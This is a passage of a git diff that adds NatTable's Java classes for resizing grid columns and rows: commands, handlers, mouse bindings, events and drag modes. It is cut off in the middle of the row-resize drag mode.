+/** + * @see AutoResizeColumnsCommand + */ + +public class AutoResizeRowsCommand extends AbstractMultiRowCommand { + + private final IConfigRegistry configRegistry; + private final GC gc; + + public AutoResizeRowsCommand(InitializeAutoResizeRowsCommand initCommand) { + super(initCommand.getSourceLayer(), initCommand.getRowPositions()); + this.configRegistry = initCommand.getConfigRegistry(); + this.gc = initCommand.getGC(); + } + + protected AutoResizeRowsCommand(AutoResizeRowsCommand command) { + super(command); + this.configRegistry = command.configRegistry; + this.gc = command.gc; + } + + public ILayerCommand cloneCommand() { + return new AutoResizeRowsCommand(this); + } + + // Accessors + + public GC getGC() { + return gc; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/ColumnResizeCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/ColumnResizeCommand.java new file mode 100644 index 0000000..a0d61b4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/ColumnResizeCommand.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.layer.ILayer; + +/** + * Event indicating that a column has been resized. + */ +public class ColumnResizeCommand extends AbstractColumnCommand { + + private int newColumnWidth; + + public ColumnResizeCommand(ILayer layer, int columnPosition, int newWidth) { + super (layer, columnPosition); + this.newColumnWidth = newWidth; + } + + protected ColumnResizeCommand(ColumnResizeCommand command) { + super(command); + this.newColumnWidth = command.newColumnWidth; + } + + public int getNewColumnWidth() { + return newColumnWidth; + } + + public ColumnResizeCommand cloneCommand() { + return new ColumnResizeCommand(this); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/ColumnResizeCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/ColumnResizeCommandHandler.java new file mode 100644 index 0000000..9c92e1f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/ColumnResizeCommandHandler.java @@ -0,0 +1,25 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.layer.DataLayer; + +public class ColumnResizeCommandHandler extends AbstractLayerCommandHandler { + + private final DataLayer dataLayer; + + public ColumnResizeCommandHandler(DataLayer dataLayer) { + this.dataLayer = dataLayer; + } + + public Class getCommandClass() { + return ColumnResizeCommand.class; + } + + @Override + protected boolean doCommand(ColumnResizeCommand command) { + final int newColumnWidth = command.getNewColumnWidth(); + dataLayer.setColumnWidthByPosition(command.getColumnPosition(), newColumnWidth); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/InitializeAutoResizeColumnsCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/InitializeAutoResizeColumnsCommand.java new file mode 100644 index 0000000..a875b89 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/InitializeAutoResizeColumnsCommand.java @@ -0,0 +1,64 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.grid.layer.GridLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.selection.SelectionLayer; + +import org.eclipse.swt.graphics.GC; + +/** + * This command triggers the AutoResizeColumms command. It collects the selected + * columns from the {@link SelectionLayer} and fires the + * {@link AutoResizeColumnsCommand} on the {@link GridLayer} + */ + +public class InitializeAutoResizeColumnsCommand extends AbstractColumnCommand { + + private final IConfigRegistry configRegistry; + private final GC gc; + private final ILayer sourceLayer; + private int[] selectedColumnPositions = new int[0]; + + public InitializeAutoResizeColumnsCommand(ILayer layer, int columnPosition, IConfigRegistry configRegistry, GC gc) { + super(layer, columnPosition); + this.configRegistry = configRegistry; + this.gc = gc; + this.sourceLayer = layer; + } + + protected InitializeAutoResizeColumnsCommand(InitializeAutoResizeColumnsCommand command) { + super(command); + this.configRegistry = command.configRegistry; + this.gc = command.gc; + this.sourceLayer = command.sourceLayer; + } + + public ILayerCommand cloneCommand() { + return new InitializeAutoResizeColumnsCommand(this); + } + + // Accessors + + public GC getGC() { + return gc; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public ILayer getSourceLayer() { + return sourceLayer; + } + + public void setSelectedColumnPositions(int[] selectedColumnPositions) { + this.selectedColumnPositions = selectedColumnPositions; + } + + public int[] getColumnPositions() { + return selectedColumnPositions; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/InitializeAutoResizeRowsCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/InitializeAutoResizeRowsCommand.java new file mode 100644 index 0000000..2516d95 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/InitializeAutoResizeRowsCommand.java @@ -0,0 +1,60 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractRowCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.GC; + +/** + * @see InitializeAutoResizeColumnsCommand + */ + +public class InitializeAutoResizeRowsCommand extends AbstractRowCommand { + + private final IConfigRegistry configRegistry; + private final GC gc; + private final ILayer sourceLayer; + private int[] selectedRowPositions = new int[0]; + + public InitializeAutoResizeRowsCommand(ILayer layer, int rowPosition, IConfigRegistry configRegistry, GC gc) { + super(layer, rowPosition); + this.configRegistry = configRegistry; + this.gc = gc; + this.sourceLayer = layer; + } + + protected InitializeAutoResizeRowsCommand(InitializeAutoResizeRowsCommand command) { + super(command); + this.configRegistry = command.configRegistry; + this.gc = command.gc; + this.sourceLayer = command.sourceLayer; + } + + public ILayerCommand cloneCommand() { + return new InitializeAutoResizeRowsCommand(this); + } + + // Accessors + + public GC getGC() { + return gc; + } + + public IConfigRegistry getConfigRegistry() { + return configRegistry; + } + + public ILayer getSourceLayer() { + return sourceLayer; + } + + public void setSelectedRowPositions(int[] selectedRowPositions) { + this.selectedRowPositions = selectedRowPositions; + } + + public int[] getRowPositions() { + return selectedRowPositions; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiColumnResizeCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiColumnResizeCommand.java new file mode 100644 index 0000000..d98be20 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiColumnResizeCommand.java @@ -0,0 +1,77 @@ +package net.sourceforge.nattable.resize.command; + +import java.util.HashMap; +import java.util.Map; + +import net.sourceforge.nattable.command.AbstractMultiColumnCommand; +import net.sourceforge.nattable.command.LayerCommandUtil; +import net.sourceforge.nattable.coordinate.ColumnPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public class MultiColumnResizeCommand extends AbstractMultiColumnCommand { + + private int commonColumnWidth = -1; + protected Map colPositionToWidth = new HashMap(); + + /** + * All columns are being resized to the same size e.g. during a drag resize + */ + public MultiColumnResizeCommand(ILayer layer, int[] columnPositions, int commonColumnWidth) { + super(layer, columnPositions); + this.commonColumnWidth = commonColumnWidth; + } + + /** + * Each column is being resized to a different size e.g. during auto resize + */ + public MultiColumnResizeCommand(ILayer layer, int[] columnPositions, int[] columnWidths) { + super(layer, columnPositions); + for (int i = 0; i < columnPositions.length; i++) { + colPositionToWidth.put(new ColumnPositionCoordinate(layer, columnPositions[i]), Integer.valueOf(columnWidths[i])); + } + } + + protected MultiColumnResizeCommand(MultiColumnResizeCommand command) { + super(command); + this.commonColumnWidth = command.commonColumnWidth; + this.colPositionToWidth = new HashMap(command.colPositionToWidth); + } + + public int getCommonColumnWidth() { + return commonColumnWidth; + } + + public int getColumnWidth(int columnPosition) { + for (ColumnPositionCoordinate columnPositionCoordinate : colPositionToWidth.keySet()) { + if (columnPositionCoordinate.getColumnPosition() == columnPosition) { + return colPositionToWidth.get(columnPositionCoordinate).intValue(); + } + } + return commonColumnWidth; + } + + /** + * Convert the column positions to the target layer. + * Ensure that the width associated with the column is now associated with the + * converted column position. + */ + @Override + public boolean convertToTargetLayer(ILayer targetLayer) { + Map newColPositionToWidth = new HashMap(); + + for (ColumnPositionCoordinate columnPositionCoordinate : colPositionToWidth.keySet()) { + ColumnPositionCoordinate convertedColumnPositionCoordinate = LayerCommandUtil.convertColumnPositionToTargetContext(columnPositionCoordinate, targetLayer); + if (convertedColumnPositionCoordinate != null) { + newColPositionToWidth.put(convertedColumnPositionCoordinate, colPositionToWidth.get(columnPositionCoordinate)); + } + } + + colPositionToWidth = newColPositionToWidth; + + return super.convertToTargetLayer(targetLayer); + } + + public MultiColumnResizeCommand cloneCommand() { + return new MultiColumnResizeCommand(this); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiColumnResizeCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiColumnResizeCommandHandler.java new file mode 100644 index 0000000..900b8f4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiColumnResizeCommandHandler.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.layer.DataLayer; + +public class MultiColumnResizeCommandHandler extends AbstractLayerCommandHandler { + + private final DataLayer dataLayer; + + public MultiColumnResizeCommandHandler(DataLayer dataLayer) { + this.dataLayer = dataLayer; + } + + public Class getCommandClass() { + return MultiColumnResizeCommand.class; + } + + @Override + protected boolean doCommand(MultiColumnResizeCommand command) { + for (int columnPosition : command.getColumnPositions()) { + dataLayer.setColumnWidthByPosition(columnPosition, command.getColumnWidth(columnPosition)); + } + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiRowResizeCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiRowResizeCommand.java new file mode 100644 index 0000000..df21066 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiRowResizeCommand.java @@ -0,0 +1,73 @@ +package net.sourceforge.nattable.resize.command; + +import java.util.HashMap; +import java.util.Map; + +import net.sourceforge.nattable.command.AbstractMultiRowCommand; +import net.sourceforge.nattable.command.LayerCommandUtil; +import net.sourceforge.nattable.coordinate.RowPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public class MultiRowResizeCommand extends AbstractMultiRowCommand { + + private int commonRowHeight = -1; + protected Map rowPositionToHeight = new HashMap(); + + /** + * All rows are being resized to the same height e.g. during a drag resize + */ + public MultiRowResizeCommand(ILayer layer, int[] rowPositions, int commonRowHeight) { + super(layer, rowPositions); + this.commonRowHeight = commonRowHeight; + } + + /** + * Each row is being resized to a different size e.g. during auto resize + */ + public MultiRowResizeCommand(ILayer layer, int[] rowPositions, int[] rowHeights) { + super(layer, rowPositions); + for (int i = 0; i < rowPositions.length; i++) { + rowPositionToHeight.put(new RowPositionCoordinate(layer, rowPositions[i]), Integer.valueOf(rowHeights[i])); + } + } + + protected MultiRowResizeCommand(MultiRowResizeCommand command) { + super(command); + this.commonRowHeight = command.commonRowHeight; + this.rowPositionToHeight = new HashMap(command.rowPositionToHeight); + } + + public int getCommonRowHeight() { + return commonRowHeight; + } + + public int getRowHeight(int rowPosition) { + for (RowPositionCoordinate rowPositionCoordinate : rowPositionToHeight.keySet()) { + if (rowPositionCoordinate.getRowPosition() == rowPosition) { + return rowPositionToHeight.get(rowPositionCoordinate).intValue(); + } + } + return commonRowHeight; + } + + @Override + public boolean convertToTargetLayer(ILayer targetLayer) { + Map newRowPositionToHeight = new HashMap(); + + for (RowPositionCoordinate rowPositionCoordinate : rowPositionToHeight.keySet()) { + RowPositionCoordinate convertedRowPositionCoordinate = LayerCommandUtil.convertRowPositionToTargetContext(rowPositionCoordinate, targetLayer); + if (convertedRowPositionCoordinate != null) { + newRowPositionToHeight.put(convertedRowPositionCoordinate, rowPositionToHeight.get(rowPositionCoordinate)); + } + } + + rowPositionToHeight = newRowPositionToHeight; + + return super.convertToTargetLayer(targetLayer); + } + + public MultiRowResizeCommand cloneCommand() { + return new MultiRowResizeCommand(this); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiRowResizeCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiRowResizeCommandHandler.java new file mode 100644 index 0000000..a817e44 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/MultiRowResizeCommandHandler.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.layer.DataLayer; + +public class MultiRowResizeCommandHandler extends AbstractLayerCommandHandler { + + private final DataLayer dataLayer; + + public MultiRowResizeCommandHandler(DataLayer dataLayer) { + this.dataLayer = dataLayer; + } + + public Class getCommandClass() { + return MultiRowResizeCommand.class; + } + + @Override + protected boolean doCommand(MultiRowResizeCommand command) { + for (int rowPosition : command.getRowPositions()) { + dataLayer.setRowHeightByPosition(rowPosition, command.getRowHeight(rowPosition)); + } + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/RowResizeCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/RowResizeCommand.java new file mode 100644 index 0000000..97091bc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/RowResizeCommand.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractRowCommand; +import net.sourceforge.nattable.layer.ILayer; + +/** + * Event indicating that a row has been resized. + */ +public class RowResizeCommand extends AbstractRowCommand { + + private int newHeight; + + public RowResizeCommand(ILayer layer, int rowPosition, int newHeight) { + super(layer, rowPosition); + this.newHeight = newHeight; + } + + protected RowResizeCommand(RowResizeCommand command) { + super(command); + this.newHeight = command.newHeight; + } + + public int getNewHeight() { + return newHeight; + } + + public RowResizeCommand cloneCommand() { + return new RowResizeCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/RowResizeCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/RowResizeCommandHandler.java new file mode 100644 index 0000000..8f9cf95 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/command/RowResizeCommandHandler.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.resize.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.layer.DataLayer; + +public class RowResizeCommandHandler extends AbstractLayerCommandHandler { + + private final DataLayer dataLayer; + + public RowResizeCommandHandler(DataLayer dataLayer) { + this.dataLayer = dataLayer; + } + + public Class getCommandClass() { + return RowResizeCommand.class; + } + + @Override + protected boolean doCommand(RowResizeCommand command) { + final int rowPosition = command.getRowPosition(); + final int newRowHeight = command.getNewHeight(); + dataLayer.setRowHeightByPosition(rowPosition, newRowHeight); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/config/DefaultColumnResizeBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/config/DefaultColumnResizeBindings.java new file mode 100644 index 0000000..ee55da9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/config/DefaultColumnResizeBindings.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.resize.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.resize.action.AutoResizeColumnAction; +import net.sourceforge.nattable.resize.action.ColumnResizeCursorAction; +import net.sourceforge.nattable.resize.event.ColumnResizeEventMatcher; +import net.sourceforge.nattable.resize.mode.ColumnResizeDragMode; +import net.sourceforge.nattable.ui.action.ClearCursorAction; +import net.sourceforge.nattable.ui.action.NoOpMouseAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultColumnResizeBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // Mouse move - Show resize cursor + uiBindingRegistry.registerFirstMouseMoveBinding(new ColumnResizeEventMatcher(SWT.NONE, 0), new ColumnResizeCursorAction()); + uiBindingRegistry.registerMouseMoveBinding(new MouseEventMatcher(), new ClearCursorAction()); + + // Column resize + uiBindingRegistry.registerFirstMouseDragMode(new ColumnResizeEventMatcher(SWT.NONE, 1), new ColumnResizeDragMode()); + + uiBindingRegistry.registerDoubleClickBinding(new ColumnResizeEventMatcher(SWT.NONE, 1), new AutoResizeColumnAction()); + uiBindingRegistry.registerSingleClickBinding(new ColumnResizeEventMatcher(SWT.NONE, 1), new NoOpMouseAction()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/config/DefaultRowResizeBindings.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/config/DefaultRowResizeBindings.java new file mode 100644 index 0000000..9c35e39 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/config/DefaultRowResizeBindings.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.resize.config; + +import net.sourceforge.nattable.config.AbstractUiBindingConfiguration; +import net.sourceforge.nattable.resize.action.AutoResizeRowAction; +import net.sourceforge.nattable.resize.action.RowResizeCursorAction; +import net.sourceforge.nattable.resize.event.RowResizeEventMatcher; +import net.sourceforge.nattable.resize.mode.RowResizeDragMode; +import net.sourceforge.nattable.ui.action.ClearCursorAction; +import net.sourceforge.nattable.ui.action.NoOpMouseAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultRowResizeBindings extends AbstractUiBindingConfiguration { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // Mouse move - Show resize cursor + uiBindingRegistry.registerFirstMouseMoveBinding(new RowResizeEventMatcher(SWT.NONE, 0), new RowResizeCursorAction()); + uiBindingRegistry.registerMouseMoveBinding(new MouseEventMatcher(), new ClearCursorAction()); + + // Row resize + uiBindingRegistry.registerFirstMouseDragMode(new RowResizeEventMatcher(SWT.NONE, 1), new RowResizeDragMode()); + + uiBindingRegistry.registerDoubleClickBinding(new RowResizeEventMatcher(SWT.NONE, 1), new AutoResizeRowAction()); + uiBindingRegistry.registerSingleClickBinding(new RowResizeEventMatcher(SWT.NONE, 1), new NoOpMouseAction()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/ColumnResizeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/ColumnResizeEvent.java new file mode 100644 index 0000000..5060160 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/ColumnResizeEvent.java @@ -0,0 +1,36 @@ +package net.sourceforge.nattable.resize.event; + +import java.util.ArrayList; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.ColumnStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.StructuralDiff; +import net.sourceforge.nattable.layer.event.StructuralDiff.DiffTypeEnum; + +public class ColumnResizeEvent extends ColumnStructuralChangeEvent { + + public ColumnResizeEvent(ILayer layer, int columnPosition) { + super(layer, new Range(columnPosition, columnPosition + 1)); + } + + protected ColumnResizeEvent(ColumnResizeEvent event) { + super(event); + } + + public ColumnResizeEvent cloneEvent() { + return new ColumnResizeEvent(this); + } + + public Collection getColumnDiffs() { + Collection rowDiffs = new ArrayList(); + + for (Range range : getColumnPositionRanges()) { + rowDiffs.add(new StructuralDiff(DiffTypeEnum.CHANGE, range, range)); + } + + return rowDiffs; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/ColumnResizeEventMatcher.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/ColumnResizeEventMatcher.java new file mode 100644 index 0000000..7a70f6f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/ColumnResizeEventMatcher.java @@ -0,0 +1,35 @@ +package net.sourceforge.nattable.resize.event; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.ui.util.CellEdgeDetectUtil; + +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Point; + +public class ColumnResizeEventMatcher extends MouseEventMatcher { + + public ColumnResizeEventMatcher(int stateMask, int button) { + super(stateMask, GridRegion.COLUMN_HEADER, button); + } + + @Override + public boolean matches(NatTable natTable, MouseEvent event, LabelStack regionLabels) { + return super.matches(natTable, event, regionLabels) && isColumnResizable(natTable, event); + } + + private boolean isColumnResizable(ILayer natLayer, MouseEvent event) { + int columnPosition = + CellEdgeDetectUtil.getColumnPositionToResize(natLayer, new Point(event.x, event.y)); + + if (columnPosition < 0) { + return false; + } else { + return natLayer.isColumnPositionResizable(columnPosition); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/RowResizeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/RowResizeEvent.java new file mode 100644 index 0000000..e1937e9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/RowResizeEvent.java @@ -0,0 +1,40 @@ +package net.sourceforge.nattable.resize.event; + +import java.util.ArrayList; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.RowStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.StructuralDiff; +import net.sourceforge.nattable.layer.event.StructuralDiff.DiffTypeEnum; + +public class RowResizeEvent extends RowStructuralChangeEvent { + + public RowResizeEvent(ILayer layer, int rowPosition) { + super(layer, new Range(rowPosition, rowPosition + 1)); + } + + public RowResizeEvent(ILayer layer, Range rowPositionRange) { + super(layer, rowPositionRange); + } + + protected RowResizeEvent(RowResizeEvent event) { + super(event); + } + + public RowResizeEvent cloneEvent() { + return new RowResizeEvent(this); + } + + public Collection getRowDiffs() { + Collection rowDiffs = new ArrayList(); + + for (Range range : getRowPositionRanges()) { + new StructuralDiff(DiffTypeEnum.CHANGE, range, range); + } + + return rowDiffs; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/RowResizeEventMatcher.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/RowResizeEventMatcher.java new file mode 100644 index 0000000..f4dc439 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/event/RowResizeEventMatcher.java @@ -0,0 +1,32 @@ +package net.sourceforge.nattable.resize.event; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.ui.util.CellEdgeDetectUtil; + +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Point; + +public class RowResizeEventMatcher extends MouseEventMatcher { + + public RowResizeEventMatcher(int stateMask, int button) { + super(stateMask, GridRegion.ROW_HEADER, button); + } + + @Override + public boolean matches(NatTable natTable, MouseEvent event, LabelStack regionLabels) { + return super.matches(natTable, event, regionLabels) && indexIsResizable(natTable, event); + } + + private boolean indexIsResizable(ILayer natLayer, MouseEvent event) { + int rowPosition = CellEdgeDetectUtil.getRowPositionToResize(natLayer, new Point(event.x, event.y)); + if (rowPosition < 0) { + return false; + } else { + return natLayer.isRowPositionResizable(rowPosition); + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/mode/ColumnResizeDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/mode/ColumnResizeDragMode.java new file mode 100644 index 0000000..bfd5c00 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/mode/ColumnResizeDragMode.java @@ -0,0 +1,103 @@ +package net.sourceforge.nattable.resize.mode; + +import java.util.HashSet; +import java.util.Set; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.painter.IOverlayPainter; +import net.sourceforge.nattable.resize.command.ColumnResizeCommand; +import net.sourceforge.nattable.ui.action.IDragMode; +import net.sourceforge.nattable.ui.util.CellEdgeDetectUtil; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * Drag mode that will implement the column resizing process. + */ +public class ColumnResizeDragMode implements IDragMode { + + private static final int DEFAULT_COLUMN_WIDTH_MINIMUM = 25; + + private int columnPositionToResize; + private int originalColumnWidth; + private int startX; + private int currentX; + private int lastX = -1; + private int gridColumnStartX; + + private final IOverlayPainter overlayPainter = new ColumnResizeOverlayPainter(); + + public void mouseDown(NatTable natTable, MouseEvent event) { + natTable.forceFocus(); + columnPositionToResize = + CellEdgeDetectUtil.getColumnPositionToResize(natTable, new Point(event.x, event.y)); + if (columnPositionToResize >= 0) { + gridColumnStartX = natTable.getStartXOfColumnPosition(columnPositionToResize); + originalColumnWidth = natTable.getColumnWidthByPosition(columnPositionToResize); + startX = event.x; + natTable.addOverlayPainter(overlayPainter); + } + } + + public void mouseMove(NatTable natTable, MouseEvent event) { + if (event.x > natTable.getWidth()) { + return; + } + this.currentX = event.x; + if (currentX < gridColumnStartX + getColumnWidthMinimum()) { + currentX = gridColumnStartX + getColumnWidthMinimum(); + } else { + int overlayExtent = ColumnResizeOverlayPainter.COLUMN_RESIZE_OVERLAY_WIDTH / 2; + + Set columnsToRepaint = new HashSet(); + + columnsToRepaint.add(Integer.valueOf(natTable.getColumnPositionByX(currentX - overlayExtent))); + columnsToRepaint.add(Integer.valueOf(natTable.getColumnPositionByX(currentX + overlayExtent))); + + if (lastX >= 0) { + columnsToRepaint.add(Integer.valueOf(natTable.getColumnPositionByX(lastX - overlayExtent))); + columnsToRepaint.add(Integer.valueOf(natTable.getColumnPositionByX(lastX + overlayExtent))); + } + + for (Integer columnToRepaint : columnsToRepaint) { + natTable.repaintColumn(columnToRepaint.intValue()); + } + + lastX = currentX; + } + } + + public void mouseUp(NatTable natTable, MouseEvent event) { + natTable.removeOverlayPainter(overlayPainter); + updateColumnWidth(natTable, event); + } + + private void updateColumnWidth(ILayer natLayer, MouseEvent e) { + int dragWidth = e.x - startX; + int newColumnWidth = originalColumnWidth + dragWidth; + if (newColumnWidth < getColumnWidthMinimum()) newColumnWidth = getColumnWidthMinimum(); + natLayer.doCommand(new ColumnResizeCommand(natLayer, columnPositionToResize, newColumnWidth)); + } + + // XXX: This method must ask the layer what it's minimum width is! + private int getColumnWidthMinimum() { + return DEFAULT_COLUMN_WIDTH_MINIMUM; + } + + private class ColumnResizeOverlayPainter implements IOverlayPainter { + + static final int COLUMN_RESIZE_OVERLAY_WIDTH = 2; + + public void paintOverlay(GC gc, ILayer layer) { + Color originalBackgroundColor = gc.getBackground(); + gc.setBackground(GUIHelper.COLOR_DARK_GRAY); + gc.fillRectangle(currentX - (COLUMN_RESIZE_OVERLAY_WIDTH / 2), 0, COLUMN_RESIZE_OVERLAY_WIDTH, layer.getHeight()); + gc.setBackground(originalBackgroundColor); + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/mode/RowResizeDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/mode/RowResizeDragMode.java new file mode 100644 index 0000000..7b292d8 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/resize/mode/RowResizeDragMode.java @@ -0,0 +1,102 @@ +package net.sourceforge.nattable.resize.mode; + +import java.util.HashSet; +import java.util.Set; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.painter.IOverlayPainter; +import net.sourceforge.nattable.resize.command.RowResizeCommand; +import net.sourceforge.nattable.ui.action.IDragMode; +import net.sourceforge.nattable.ui.util.CellEdgeDetectUtil; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * Drag mode that will implement the row resizing process. + */ +public class RowResizeDragMode implements IDragMode { + + private static final int DEFAULT_ROW_HEIGHT_MINIMUM = 18; + + private int gridRowPositionToResize; + private int originalRowHeight; + private int startY; + private int currentY; + private int lastY = -1; + private int gridRowStartY; + private IOverlayPainter overlayPainter = new RowResizeOverlayPainter(); + + public void 